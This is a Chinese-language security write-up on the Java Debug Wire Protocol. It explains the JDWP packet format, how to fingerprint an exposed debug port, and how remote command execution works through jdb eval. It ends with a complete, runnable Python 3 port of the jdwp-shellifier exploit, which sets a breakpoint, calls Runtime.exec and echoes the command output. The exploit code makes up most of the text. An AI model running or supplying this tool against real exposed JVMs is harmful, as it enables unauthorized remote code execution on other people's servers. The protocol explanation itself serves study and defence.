java jdwp协议
前言：python2转化python3的jdwp利用脚本有问题，索性有时间所以就来学习下java jdwp协议，顺便记录点笔记
参考文章：https://en.wikipedia.org/wiki/Java_Debug_Wire_Protocol
参考文章：https://www.cnblogs.com/zpchcbd/p/15152452.html
参考文章：https://docs.oracle.com/javase/8/docs/platform/jpda/jdwp/jdwp-protocol.html
参考文章：https://github.com/IOActive/jdwp-shellifier/blob/master/jdwp-shellifier.py
参考文章：https://forum.butian.net/share/1232
什么是jdwp协议
Java Debug Wire Protocol（JDWP）是一种通信协议，是Java Platform Debugger Architecture的一部分。它用于调试器和Java虚拟机之间的通信，Java虚拟机进行调试。它允许在其他计算机上调试进程，可以通过网络套接字或共享内存工作。
jdwp环境搭建
TestJdwpMain.java
public class TestJdwpMain {
public static void main(String[] args) throws IOException {
System.out.println("hello world");
}
}
这里先将java文件进行编译，然后通过jdb来进行调试，jdb跟java的debugger一样具有调试功能，是jdk自带的命令行调试工具
javac TestJdwpMain.java
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 TestJdwpMain
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=5005
在jdb中先通过stop指令来进行断点，然后run指令，接着通过step指令来单步往下走直到结束，结果如下图所示
stop in java.io.PrintStream.println(java.lang.String)
run
step
step
jdwp端口的识别
jdwp除了特定的指纹JDWP-Handshake发送否则都是返回无信息，结果如下图所示
import asyncio
async def get_jdwp():
reader, writer = await asyncio.open_connection('127.0.0.1', 5005)
writer.write(b'JDWP-Handshake')
await writer.drain()
result = await reader.read(1024)
print(result)
writer.close()
if __name__ == '__main__':
l = asyncio.get_event_loop()
l.run_until_complete(get_jdwp())
发送特定指纹JDWP-Handshake返回的信息
发送非特定指纹JDWP-Hanaadshake返回的信息
jdwp的命令执行
参考代码：https://github.com/IOActive/jdwp-shellifier/blob/master/jdwp-shellifier.py
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=5005
threads
stepi
eval java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
jdwp的通信协议
通信包的数据格式
-
Length表示整个数据包的长度。因为包头的长度是固定的 11 bytes，所以如果一个 Command Packet 没有数据部分，则 Length 的值就是 11。
Id：是一个唯一值，用来标记和识别 Reply Packet 对应的 Command Packet。Reply Packet 与它所回复的 Command Packet 具有相同的 Id，异步的消息就是通过 Id 来配对识别的。 -
Flags用来标识数据包是 Command Packet 还是 Reply Packet，如果Flags是0x80就表示是一个Reply Packet，如果Flags是0就表示是一个 Command Packet。
-
Command Set：用来定义Command的类别，相当于一个Command的分组，一些功能相近的Command被分在同一个Command Set中。Command Set的值被划分为 3 个部分：
0-63：从debugger端发往被调试JVM的命令；
64–127：从被调试JVM的命令发往debugger端的命令；
128–256：预留的自定义和扩展命令
比如想要发送一个VERSION_SIG的指令获取版本信息则可以通过(1,1)的标识符来进行发送，在官方文档中可以看到对应的命令序号在VirtualMachine Command Set (1)的Version Command (1)中，如下图所示
通过抓包开头的11个请求包中也可以进行观察到，末尾的2个字节就是代表的(1,1)
-
Error Code：用来表示被回复的命令是否被正确执行了。零表示正确，非零表示执行错误。
-
Data：数据部分的内容和结构依据不同的 Command Packet 和 Reply Packet 都有所不同。比如请求一个对象成员变量值的Command Packet，它的data中就包含该对象的id和成员变量的id。而
-
Reply Packet 中则包含该成员变量的值。
Command Packet发送包的数据格式（长度11字节）
11个字节的长度是固定的，传输的数据部分长度不固定
Reply Packet接受包的数据格式（长度11字节）
11个字节的长度是固定的，传输的数据部分长度不固定
jdwp攻击脚本原理
主要进行了下面四个步骤
每次发送11个字节的数据包的构造
def create_packet(self, cmdsig, data=b""):
flags = 0x00
cmdset, cmd = cmdsig
pktlen = len(data) + 11
pkt = struct.pack(">IIBBB", pktlen, self.id, flags, cmdset, cmd)
pkt += data
self.id += 2
return pkt
第一个步骤就是发送handshake包来确定是否是jdwp服务
第二个步骤就是发送IDSizes Command指令，标识符为(1,7)，在后面调用方法的时候需要用到referenceTypeIDSize，referenceTypeIDSize需要用IDSizes指令获取
第三个步骤就是发送IDSizes Command指令，标识符为(1,1)，获取java版本信息，这个方法可有可无，因为通过搜索并没有发现后面该方法获取的数据
第四个步骤就是发送AllClasses Command指令，标识符为(1,3)，获取目标VM当前加载的所有类的引用类型，后面需要用到
接下来就是调用runtime_exec，首先获取Runtime类索引
runtimeClass = jdwp.get_class_by_name(b"Ljava/lang/Runtime;")
jdwp.get_methods(runtimeClass["refTypeId"])
接着获取getRuntime方法索引
getRuntimeMeth = jdwp.get_method_by_name(b"getRuntime")
通过要下断点方法的的类索引来获取要下断点方法的索引
c = jdwp.get_class_by_name(break_on_class.encode())
jdwp.get_methods(c["refTypeId"])
m = jdwp.get_method_by_name(break_on_method.encode())
通过EVENT_BREAKPOINT指令在对应的类的方法下断点
loc = struct.pack(">B", TYPE_CLASS)
loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"])
loc += jdwp.format(jdwp.methodIDSize, m["methodId"])
loc += struct.pack(">II", 0, 0)
data = [(MODKIND_LOCATIONONLY, loc), ]
rId = jdwp.send_event(EVENT_BREAKPOINT, *data)
恢复运行vm虚拟机，等待触发断点
jdwp.resumevm()
while True:
buf = jdwp.wait_for_event()
ret = jdwp.parse_event_breakpoint(buf, rId)
if ret is not None:
break
触发断点，解析当前断点所在的信息，比如所在的线程以及位置
rId, tId, loc = ret
jdwp.clear_event(EVENT_BREAKPOINT, rId)
跟上面演示的jdb一样，当拿到了调试器的控制权那么就可以执行Runtime.getRuntime()的对象的对应命令了
将要执行的命令进行格式化，在jdwp中传的数据都需要进行对应的规范化CreateString Command (11)，该指令的标识符是(1, 11)
cmdObjIds = jdwp.createstring(command.encode())
cmdObjId = cmdObjIds[0]["objId"]
接下来通过invokestatic调试Runtime的getRuntime方法来获取Runtime对象
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
获取Runtime对象的exec方法
execMeth = jdwp.get_method_by_name(b"exec")
调用exec方法，参数为cmdObjId在虚拟机中对应的索引值，就是要执行的命令
data = [struct.pack(">B", TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
最终结果如下图所示
回显
def echo_command_result(jdwp, threadId, retId):
processClass = jdwp.get_class_by_name(b"Ljava/lang/Process;")
if processClass is None:
return False
jdwp.get_methods(processClass["refTypeId"])
getInputStreamMethod = jdwp.get_method_by_name(b"getInputStream")
if getInputStreamMethod is None:
return False
data = []
buf = jdwp.invoke(retId, threadId, processClass["refTypeId"], getInputStreamMethod["methodId"], *data)
if buf[0] != TAG_OBJECT:
return False
inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
inputStreamReader = jdwp.get_class_by_name(b"Ljava/io/InputStreamReader;")
jdwp.get_methods(inputStreamReader["refTypeId"])
inputStreamReaderMethod = jdwp.get_method_by_signature(inputStreamReader["refTypeId"], b"(Ljava/io/InputStream;)V")
if inputStreamReaderMethod is None:
return False
data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, inputStreamId)]
buf = jdwp.newInstance(inputStreamReader["refTypeId"], threadId, inputStreamReaderMethod["methodId"], *data)
if buf[0] != TAG_OBJECT:
return False
isrId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
bufferedReader = jdwp.get_class_by_name(b"Ljava/io/BufferedReader;")
jdwp.get_methods(bufferedReader["refTypeId"])
bufferedReaderMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"(Ljava/io/Reader;)V")
if bufferedReaderMethod is None:
return False
data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, isrId)]
buf = jdwp.newInstance(bufferedReader["refTypeId"], threadId, bufferedReaderMethod["methodId"], *data)
if buf[0] != TAG_OBJECT:
return False
brId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
readlineMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"()Ljava/lang/String;")
if readlineMethod is None:
return False
while True:
data = []
buf = jdwp.invoke(brId, threadId, bufferedReader["refTypeId"], readlineMethod["methodId"], *data)
if buf[0] != TAG_STRING:
break
else:
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId))
return res.decode()
return ''
对于java中的代码可以理解为
public class TestJdwpMain {
public static void main(String[] args) throws IOException {
Process whoami = Runtime.getRuntime().exec("whoami");
InputStream inputStream = whoami.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line;
while((line = bufferedReader.readLine()) != null){
System.out.println(line);
}
}
}
python3 jdwp利用脚本
import socket
import time
import sys
import struct
import urllib.request, urllib.parse, urllib.error
import argparse
import traceback
import pdb
################################################################################
#
# JDWP protocol variables
#
HANDSHAKE = b"JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = (1, 1)
CLASSESBYSIGNATURE_SIG = (1, 2)
ALLCLASSES_SIG = (1, 3)
ALLTHREADS_SIG = (1, 4)
IDSIZES_SIG = (1, 7)
CREATESTRING_SIG = (1, 11)
SUSPENDVM_SIG = (1, 8)
RESUMEVM_SIG = (1, 9)
SIGNATURE_SIG = (2, 1)
FIELDS_SIG = (2, 4)
METHODS_SIG = (2, 5)
GETVALUES_SIG = (2, 6)
CLASSOBJECT_SIG = (2, 11)
INVOKESTATICMETHOD_SIG = (3, 3)
REFERENCETYPE_SIG = (9, 1)
INVOKEMETHOD_SIG = (9, 6)
STRINGVALUE_SIG = (10, 1)
THREADNAME_SIG = (11, 1)
THREADSUSPEND_SIG = (11, 2)
THREADRESUME_SIG = (11, 3)
THREADSTATUS_SIG = (11, 4)
EVENTSET_SIG = (15, 1)
EVENTCLEAR_SIG = (15, 2)
EVENTCLEARALL_SIG = (15, 3)
NEWINSTANCE_SIG = (3, 4)
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
################################################################################
#
# JDWP client class
#
class JDWPClient:
def __init__(self, host, port=8000):
self.host = host
self.port = port
self.methods = {}
self.fields = {}
self.id = 0x01
return
def create_packet(self, cmdsig, data=b""):
flags = 0x00
cmdset, cmd = cmdsig
pktlen = len(data) + 11
pkt = struct.pack(">IIBBB", pktlen, self.id, flags, cmdset, cmd)
pkt += data
self.id += 2
return pkt
def read_reply(self):
header = self.socket.recv(11)
pktlen, id, flags, errcode = struct.unpack(">IIBH", header)
if flags == struct.pack(">B", REPLY_PACKET_TYPE):
if errcode:
raise Exception("Received errcode %d" % errcode)
buf = b""
while len(buf) + 11 < pktlen:
data = self.socket.recv(1024)
if len(data):
buf += data
else:
time.sleep(1)
return buf
def parse_entries(self, buf, formats, explicit=True):
entries = []
index = 0
if explicit:
nb_entries = struct.unpack(">I", buf[:4])[0]
buf = buf[4:]
else:
nb_entries = 1
for i in range(nb_entries):
data = {}
for fmt, name in formats:
if fmt == "L" or fmt == 8:
data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0])
index += 8
elif fmt == "I" or fmt == 4:
data[name] = int(struct.unpack(">I", buf[index:index + 4])[0])
index += 4
elif fmt == 'S':
l = struct.unpack(">I", buf[index:index + 4])[0]
data[name] = buf[index + 4:index + 4 + l]
index += 4 + l
elif fmt == 'C':
data[name] = buf[index]
index += 1
elif fmt == 'Z':
t = buf[index]
if t == 115:
s = self.solve_string(buf[index + 1:index + 9])
data[name] = s
index += 9
elif t == 73:
data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0]
buf = struct.unpack(">I", buf[index + 5:index + 9])
index = 0
else:
raise Exception("Unknown entries")
entries.append(data)
return entries
def format(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.pack(">Q", value)
elif fmt == "I" or fmt == 4:
return struct.pack(">I", value)
raise Exception("Unknown format")
def unformat(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.unpack(">Q", value[:8])[0]
elif fmt == "I" or fmt == 4:
return struct.unpack(">I", value[:4])[0]
else:
raise Exception("Unknown format")
def start(self):
self.handshake(self.host, self.port)
self.idsizes()
self.getversion()
self.allclasses()
return
def handshake(self, host, port):
s = socket.socket()
try:
s.connect((host, port))
except socket.error as msg:
raise Exception("Failed to connect: %s" % msg)
s.send(HANDSHAKE)
if s.recv(len(HANDSHAKE)) != HANDSHAKE:
raise Exception("Failed to handshake")
else:
self.socket = s
return
def leave(self):
self.socket.close()
return
def getversion(self):
self.socket.sendall(self.create_packet(VERSION_SIG))
buf = self.read_reply()
formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
('S', "vmVersion"), ('S', "vmName"), ]
for entry in self.parse_entries(buf, formats, False):
for name, value in entry.items():
setattr(self, name, value)
@property
def version(self):
return "%s - %s" % (self.vmName, self.vmVersion)
def idsizes(self):
self.socket.sendall(self.create_packet(IDSIZES_SIG))
buf = self.read_reply()
formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
("I", "referenceTypeIDSize"), ("I", "frameIDSize")]
for entry in self.parse_entries(buf, formats, False):
for name, value in entry.items():
setattr(self, name, value)
return
def allclasses(self):
try:
getattr(self, "classes")
except:
self.socket.sendall(self.create_packet(ALLCLASSES_SIG))
buf = self.read_reply()
formats = [('C', "refTypeTag"),
(self.referenceTypeIDSize, "refTypeId"),
('S', "signature"),
('I', "status")]
self.classes = self.parse_entries(buf, formats)
return self.classes
def get_class_by_name(self, name):
for entry in self.classes:
if entry["signature"].lower() == name.lower():
return entry
return None
def get_methods(self, refTypeId):
if refTypeId not in self.methods:
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall(self.create_packet(METHODS_SIG, data=refId))
buf = self.read_reply()
formats = [(self.methodIDSize, "methodId"),
('S', "name"),
('S', "signature"),
('I', "modBits")]
self.methods[refTypeId] = self.parse_entries(buf, formats)
return self.methods[refTypeId]
def get_method_by_name(self, name):
for refId in list(self.methods.keys()):
for entry in self.methods[refId]:
if entry["name"].lower() == name.lower():
return entry
return None
def get_method_by_signature(self, refTypeId, signature):
for method in self.methods[refTypeId]:
if method['signature'] == signature:
return method
return None
def getfields(self, refTypeId):
if refTypeId not in self.fields:
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall(self.create_packet(FIELDS_SIG, data=refId))
buf = self.read_reply()
formats = [(self.fieldIDSize, "fieldId"),
('S', "name"),
('S', "signature"),
('I', "modbits")]
self.fields[refTypeId] = self.parse_entries(buf, formats)
return self.fields[refTypeId]
def getvalue(self, refTypeId, fieldId):
data = self.format(self.referenceTypeIDSize, refTypeId)
data += struct.pack(">I", 1)
data += self.format(self.fieldIDSize, fieldId)
self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data))
buf = self.read_reply()
formats = [("Z", "value")]
field = self.parse_entries(buf, formats)[0]
return field
def createstring(self, data: bytes):
buf = self.buildstring(data)
self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf))
buf = self.read_reply()
return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)
def buildstring(self, data: bytes):
return struct.pack(">I", len(data)) + data
def readstring(self, data):
size = struct.unpack(">I", data[:4])[0]
return data[4:4 + size]
def resumevm(self):
self.socket.sendall(self.create_packet(RESUMEVM_SIG))
self.read_reply()
return
def invokestatic(self, classId, threadId, methId, *args):
data = self.format(self.referenceTypeIDSize, classId)
data += self.format(self.objectIDSize, threadId)
data += self.format(self.methodIDSize, methId)
data += struct.pack(">I", len(args))
for arg in args:
data += arg
data += struct.pack(">I", 0)
self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data))
buf = self.read_reply()
return buf
def invoke(self, objId, threadId, classId, methId, *args):
data = self.format(self.objectIDSize, objId)
data += self.format(self.objectIDSize, threadId)
data += self.format(self.referenceTypeIDSize, classId)
data += self.format(self.methodIDSize, methId)
data += struct.pack(">I", len(args))
for arg in args:
data += arg
data += struct.pack(">I", 0)
self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data))
buf = self.read_reply()
return buf
def solve_string(self, objId):
self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=objId))
buf = self.read_reply()
if len(buf):
return self.readstring(buf)
else:
return b""
def send_event(self, eventCode, *args):
data = b""
data += struct.pack(">B", eventCode)
data += struct.pack(">B", SUSPEND_ALL)
data += struct.pack(">I", len(args))
for kind, option in args:
data += struct.pack(">B", kind)
data += option
self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data))
buf = self.read_reply()
return struct.unpack(">I", buf)[0]
def clear_event(self, eventCode, rId):
data = struct.pack(">B", eventCode)
data += struct.pack(">I", rId)
self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data))
self.read_reply()
return
def wait_for_event(self):
buf = self.read_reply()
return buf
def parse_event_breakpoint(self, buf, eventId):
num = struct.unpack(">I", buf[2:6])[0]
rId = struct.unpack(">I", buf[6:10])[0]
if rId != eventId:
return None
tId = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize])
loc = -1 # don't care
return rId, tId, loc
def newInstance(self, classId, threadId, methId, *args):
data = self.format(self.referenceTypeIDSize, classId)
data += self.format(self.objectIDSize, threadId)
data += self.format(self.methodIDSize, methId)
data += struct.pack(">I", len(args))
for arg in args:
data += arg
data += struct.pack(">I", 0)
self.socket.sendall(self.create_packet(NEWINSTANCE_SIG, data=data))
buf = self.read_reply()
return buf
def runtime_exec(jdwp, break_on_class, break_on_method, break_on, cmd):
# 1. get Runtime class reference
runtimeClass = jdwp.get_class_by_name(b"Ljava/lang/Runtime;")
if runtimeClass is None:
return False
# 2. get getRuntime() meth reference
jdwp.get_methods(runtimeClass["refTypeId"])
getRuntimeMeth = jdwp.get_method_by_name(b"getRuntime")
if getRuntimeMeth is None:
return False
# 3. setup breakpoint on frequently called method
c = jdwp.get_class_by_name(break_on_class.encode())
if c is None:
return False
jdwp.get_methods(c["refTypeId"])
m = jdwp.get_method_by_name(break_on_method.encode())
if m is None:
return False
loc = struct.pack(">B", TYPE_CLASS)
loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"])
loc += jdwp.format(jdwp.methodIDSize, m["methodId"])
loc += struct.pack(">II", 0, 0)
data = [(MODKIND_LOCATIONONLY, loc), ]
rId = jdwp.send_event(EVENT_BREAKPOINT, *data)
# 4. resume vm and wait for event
jdwp.resumevm()
while True:
buf = jdwp.wait_for_event()
ret = jdwp.parse_event_breakpoint(buf, rId)
if ret is not None:
break
rId, tId, loc = ret
jdwp.clear_event(EVENT_BREAKPOINT, rId)
# 5. Now we can execute any code
result = runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], cmd)
jdwp.resumevm()
return result
def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
# 1. allocating string containing our command to exec()
cmdObjIds = jdwp.createstring(command.encode())
if len(cmdObjIds) == 0:
return False
cmdObjId = cmdObjIds[0]["objId"]
# 2. use context to get Runtime object
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
if buf[0] != TAG_OBJECT:
return False
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
if rt is None:
return False
# 3. find exec() method
execMeth = jdwp.get_method_by_name(b"exec")
if execMeth is None:
return False
# 4. call exec() in this context with the alloc-ed string
data = [struct.pack(">B", TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
if buf[0] != TAG_OBJECT:
return False
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
result = echo_command_result(jdwp, threadId, retId)
return result
def echo_command_result(jdwp, threadId, retId):
processClass = jdwp.get_class_by_name(b"Ljava/lang/Process;")
if processClass is None:
return False
jdwp.get_methods(processClass["refTypeId"])
getInputStreamMethod = jdwp.get_method_by_name(b"getInputStream")
if getInputStreamMethod is None:
return False
data = []
buf = jdwp.invoke(retId, threadId, processClass["refTypeId"], getInputStreamMethod["methodId"], *data)
if buf[0] != TAG_OBJECT:
return False
inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
inputStreamReader = jdwp.get_class_by_name(b"Ljava/io/InputStreamReader;")
jdwp.get_methods(inputStreamReader["refTypeId"])
inputStreamReaderMethod = jdwp.get_method_by_signature(inputStreamReader["refTypeId"], b"(Ljava/io/InputStream;)V")
if inputStreamReaderMethod is None:
return False
data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, inputStreamId)]
buf = jdwp.newInstance(inputStreamReader["refTypeId"], threadId, inputStreamReaderMethod["methodId"], *data)
if buf[0] != TAG_OBJECT:
return False
isrId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
bufferedReader = jdwp.get_class_by_name(b"Ljava/io/BufferedReader;")
jdwp.get_methods(bufferedReader["refTypeId"])
bufferedReaderMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"(Ljava/io/Reader;)V")
if bufferedReaderMethod is None:
return False
data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, isrId)]
buf = jdwp.newInstance(bufferedReader["refTypeId"], threadId, bufferedReaderMethod["methodId"], *data)
if buf[0] != TAG_OBJECT:
return False
brId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
readlineMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"()Ljava/lang/String;")
if readlineMethod is None:
return False
while True:
data = []
buf = jdwp.invoke(brId, threadId, bufferedReader["refTypeId"], readlineMethod["methodId"], *data)
if buf[0] != TAG_STRING:
break
else:
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId))
return res.decode()
return ''
def str2fqclass(s):
i = s.rfind('.')
method = s[i:][1:]
classname = 'L' + s[:i].replace('.', '/') + ';'
return classname, method
if __name__ == "__main__":
# -t 127.0.0.1 -p 5005 --cmd id --break-on java.lang.String.indexOf
classname, meth = str2fqclass('java.lang.String.indexOf')
cli = JDWPClient('127.0.0.1', 5005)
cli.start()
if runtime_exec(cli, classname, meth, 'java.lang.String.indexOf', 'id') == False:
retcode = 1
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